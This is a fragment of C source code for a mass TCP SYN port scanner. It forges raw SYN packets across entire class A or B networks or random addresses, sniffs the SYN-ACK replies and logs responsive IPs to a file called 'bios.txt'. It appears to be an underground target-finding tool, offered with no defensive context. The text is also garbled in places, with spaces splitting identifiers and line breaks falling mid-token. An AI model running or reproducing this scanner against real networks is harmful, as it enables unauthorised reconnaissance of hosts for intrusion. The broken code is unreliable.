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 printf("-i requires an argument\n"); 
 exit(0x01); 
  } 
 } 
 if(strstr(argv[i],"-a")) 
 { 
  if(i+1<argc)  
  { 
 aclass=1; 
 bclass=0; 
 rclass=0; 
 a=atoi(argv[i+1]); 
 b=0; 
 c=0; 
 d=0; 
 //printf("%d\n",a); 
 if((a<1) || (a>254))  
 { 
  printf("A must be between 1 and 254\n"); 
  exit(0x02); 
 } 
 printf("scanning network %d.*.*.*\n",a); 
  }  
  else 
  { 
 printf("-a requires an A network as argument\n"); 
 exit(0x01); 
  }  
 } 
 if(strstr(argv[i],"-b")) 
 { 
  if(i+1<argc)  
  { 
 aclass=0; 
 bclass=1; 
 rclass=0; 
 a=atoi(strtok(argv[i+1],".")); 
 temp_char=strtok(NULL,"."); 
 if(temp_char==NULL)  
 b=0;else b=atoi(temp_char); 
 c=0; 
 d=0; 
 //printf("%d\n",a); 
 if((a<1) || (a>254))  
 { 
  printf("A must be between 1 and 254\n"); 
  exit(0x02); 
 } 
 printf("scanning network %d.%d.*.*\n",a,b); 
  }  
  else 
  { 
 printf("-b requires an B network as argument(e.g. 192.168)\n"); 
 exit(0x01); 
  }  
 }  
 } 
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 printf("usec: %ld, burst packets %d\n",usec,burst) ; 
 port=(unsigned short)atoi(argv[1]); 
 if((port<1) || (port>65535)) exit(printf("damn dud e, port numbers are 
in 1 .. 65535\n")); 
 if(interface!=NULL) printf("using inteface %s\n",i nterface);  
  
 l=libnet_init(LIBNET_RAW4,interface,errbuff); 
 if(!l) 
 { 
 printf("ERROR: %s\n",errbuff); 
 exit(0x02); 
 } 
 myip=libnet_get_ipaddr4(l); 
 sc.s_addr=myip; 
 sprintf(filter,"(tcp[tcpflags]=0x12) and (src port  %d) and (dst port 
%d)",port,sport); 
 printf("using \"%s\" as pcap filter\n",filter); 
 printf("my detected ip on %s is %s\n",l->device,in et_ntoa(sc)); 
 pcap_lookupnet(l->device, &net, &mask, errbuf); 
 pid=fork(); 
 handle=NULL; 
 handle = pcap_open_live(l->device, BUFSIZ, 1, 0, e rrbuf); 
 if(handle==NULL) 
 { 
 printf("ERROR: pcap_open_live() : %s\n",errbuff); 
 exit(0x05); 
 }  
 cc=pcap_compile(handle, &cfilter, filter, 0, net);  
 if(cc!=0) 
 { 
  printf("ERROR: pcap_compile() failed!!!\n"); 
  exit(0);  
 } 
 cc=pcap_setfilter(handle, &cfilter); 
 if(cc!=0) 
 { 
  printf("ERROR: pcap_setfilter() failed!!!\n"); 
  exit(0); 
 } 
 if(pid==0) 
 { 
 /* sniff */ 
  while(1) 
 { 
   packet = pcap_next(handle, &header); 
 memcpy(&ekkt.s_addr,packet+26,4); 
 printf("%s\n",inet_ntoa(ekkt)); 
 FILE * fp; 
 fp=fopen("bios.txt","a+"); 
 fprintf(fp,"%s\n",inet_ntoa(ekkt)); 
 fclose(fp); 
 } 
 } 
 if(pid > 0) 
 { 
 printf("capturing process started pid %d\n",pid); 
  usleep(500000); 
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  while(1) 
  { 
   t=LIBNET_PTAG_INITIALIZER; 
  t=libnet_build_tcp_options(tcpopt, 8, l,0);  
  //t=LIBNET_PTAG_INITIALIZER; 
   t=libnet_build_tcp(sport,port,rand(),rand(),TH_S YN,65535,0,0,LIBNET_
TCP_H+8,NULL,0,l,0); 
  if(rclass) dstip=rand(); 
  if(aclass) 
  { 
 if(d==0) printf("scanning %d.%d.%d.*\n",a,b,c); 
 d++; 
 if(d>255) {c++;d=0;} 
 if(c>255) {b++;c=0;} 
 sprintf(ip,"%d.%d.%d.%d\n",a,b,c,d); 
  
 //printf("%s\n",ip); 
 if((b==255)&& (c==255) && (d==255)) 
 { 
  printf("aici trebuie stop\n"); 
  sleep(10);  
  kill(pid,2); 
  return 0; 
 } 
 sc.s_addr=inet_addr(ip); 
 dstip=sc.s_addr; 
  } 
  if(bclass) 
  { 
 if(d==0) printf("scanning %d.%d.%d.*\n",a,b,c); 
 d++; 
 if(d>255)  
 { 
  c++;d=0; 
 } 
 sprintf(ip,"%d.%d.%d.%d",a,b,c,d); 
 if((c==255) && (d==255)) 
 { 
  printf("%s\n",ip); 
  printf("aici trebuie stop\n"); 
  sleep(10);  
  kill(pid,2); 
  return 0; 
 } 
 sc.s_addr=inet_addr(ip); 
 dstip=sc.s_addr; 
  } 
    
  libnet_build_ipv4(LIBNET_TCP_H+LIBNET_IPV4_H+8,0, rand(),0,128,IPPROTO
_TCP,0,myip,dstip,NULL,0,l,0); 
   cc=libnet_write(l); 
  if(cc<=0) printf("libnet_write() wtf %d\n",cc); 
  libnet_clear_packet(l); 
  if(ct==burst) 
  { 
 usleep(usec); 
 ct=0; 
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  }; 
  ct++; 
  } 
 
 } 
 if(pid<0)  
 { 
  printf("cannot fork()\n"); 
  exit(0x05); 
 } 
 return 0; 
} 
 

 


